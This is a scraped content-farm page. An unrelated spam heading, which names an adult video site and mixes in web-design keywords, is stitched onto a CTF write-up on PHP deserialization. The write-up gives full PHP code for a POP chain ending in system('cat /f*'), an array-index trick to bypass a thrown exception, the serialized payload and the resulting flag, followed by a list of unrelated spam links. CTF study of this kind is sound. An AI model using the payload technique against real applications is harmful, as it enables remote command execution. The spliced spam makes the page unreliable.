当前位置: 首页 > news >正文

宁波公司网站制作色一把看片网 做最好的在线看片网站

宁波公司网站制作,色一把看片网 做最好的在线看片网站,seo整站优化外包,京东云 wordpress打开链接#xff0c;存在很多个类#xff0c;很明显是php反序列化漏洞利用#xff0c;需要构造pop链 #xff0c; 关于pop链构造的详细步骤教学#xff0c;请参考我之前的博客#xff0c;真的讲得很详细也容易理解#xff1a; http://t.csdnimg.cn/wMYNB 如果你是刚接…打开链接存在很多个类很明显是php反序列化漏洞利用需要构造pop链 关于pop链构造的详细步骤教学请参考我之前的博客真的讲得很详细也容易理解 http://t.csdnimg.cn/wMYNB 如果你是刚接触php反序列化利用的题那么建议先看基础的原理知识 http://t.csdnimg.cn/xhqzq http://t.csdnimg.cn/jzQjt http://t.csdnimg.cn/IHpEq 由于这道题还出现了 throw new Exception(Nope); 这个throw就是GC回收垃圾回收机制这里需要绕过它。 首先我们需要知道 在php中当对象被销毁时会自动调用__destruct()方法但如果程序报错或者抛出异常就不会触发该魔术方法。 当一个类创建之后它会自己消失而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发而throw那个函数就是回收了自动销毁的类导致destruct检测不到有东西销毁从而也就导致无法触发destruct函数。 我们可以通过提前触发垃圾回收机制来抛出异常从而绕过GC回收唤醒__destruct()魔术方法。 触发垃圾回收机制的方法有本质即使对象引用计数归零 1对象被unset()处理时可以触发。 2数组对象为NULL时可以触发。 我们先正常构造pop链 关于pop链的构造和标注真的看我之前那篇博客肯定能懂 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c; echo serialize($s);? 我们使用第二中方法数组对象为NULL绕过GC回收 ?phpclass Start{public $errMsg; // 5 Cryptopublic function __destruct() {die($this-errMsg); } }class Pwn{public $obj; // 2 Webpublic function __invoke(){$this-obj-evil();}public function evil() {phpinfo();} }class Reverse{public $func; // 3 Pwnpublic function __get($var) {($this-func)();} }class Web{ public $func; // 1 systempublic $var; // 1 cat /f*public function evil() {if(!preg_match(/flag/i,$this-var)){($this-func)($this-var);}else{echo Not Flag;}} }class Crypto{public $obj; // 4 Reversepublic function __toString() {$wel $this-obj-good;return NewStar;} }class Misc{ public function evil() {echo good job but nothing;} }$w new Web(); $w-func system; $w-var cat /f*; $p new Pwn(); $p-obj $w; $r new Reverse(); $r-func $p; $c new Crypto(); $c-obj $r; $s new Start(); $s-errMsg $c;$barray($s,0); echo serialize($b); ? 运行得到 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:1;i:0;}  我们将最后的 i:1 替换为 i:0 即 a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  构造payload postfasta:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:7:cat /f*;}}}}}i:0;i:0;}  拿到flag flag{558eb633-8715-4922-8201-f8402343b140}  当然这里保险一点的做法是先执行 ls 命令然后再使用 ../../../ 进行目录穿越 找到flag所在目录再进行 cat并且这里过滤了关键字 flag因此我们使用通配符 * 进行匹配。 只是说一般 flag 都在根目录下所以我直接 cat /f*。
http://www.tj-hxxt.cn/news/219947.html

相关文章:

  • 用网站做邮箱网站建设案例 央视网
  • 网站自然排名怎么wordpress 用法
  • 3000ok新开传奇网站h5个人网站模板下载
  • 石家庄快速网站搭建国内永久免费建站
  • 东莞网站建设公司寻找客户资源的网站
  • 工信部 网站备案查询hotnews wordpress
  • 陇南网站网站建设朝阳网站建设怎么样
  • 法律网站建设免费logo网站
  • wordpress安装后输入什么域名枫树seo
  • 自己怎么做网站模块本地黄页小程序
  • 网站建设方法冫金手指排名26好看的wordpress模版
  • 上海网站制作股权分配系统建设网站
  • 传媒公司网站制作线上广告投放收费标准
  • 有经验的做网站wordpress分类指定页面
  • 网站升级方案公司起名字大全免费三个字
  • 网站26个页面收费全球快速建站工具
  • 海外医疗兼职网站建设阿里巴巴网站怎么做推广方案
  • 在元典公司做网站有合同吗石家庄谷歌seo公司
  • 企业建站公司流程外贸电商网站制作
  • 杭州网站建设哪家快速上线新手怎么做销售
  • 网站加载动画效果loading新型建筑模板设备
  • 企业服务工作站网页搜索优化
  • 宁波网站优化公司价格wordpress手机端滑动侧栏
  • 常州外贸集团 网站建设网站接入服务单位
  • 网站源码在哪里wordpress idc模板
  • 网站建设公司效益怎么样wordfence wordpress
  • 北京网站维护公司河南网站推广优化多少钱
  • 专业的手机网站建设公司哪家好网络平台制作公司
  • 杭州网站seo公司哈尔滨建设厅网站
  • 建设银行网站是多少钱西安app定制开发公司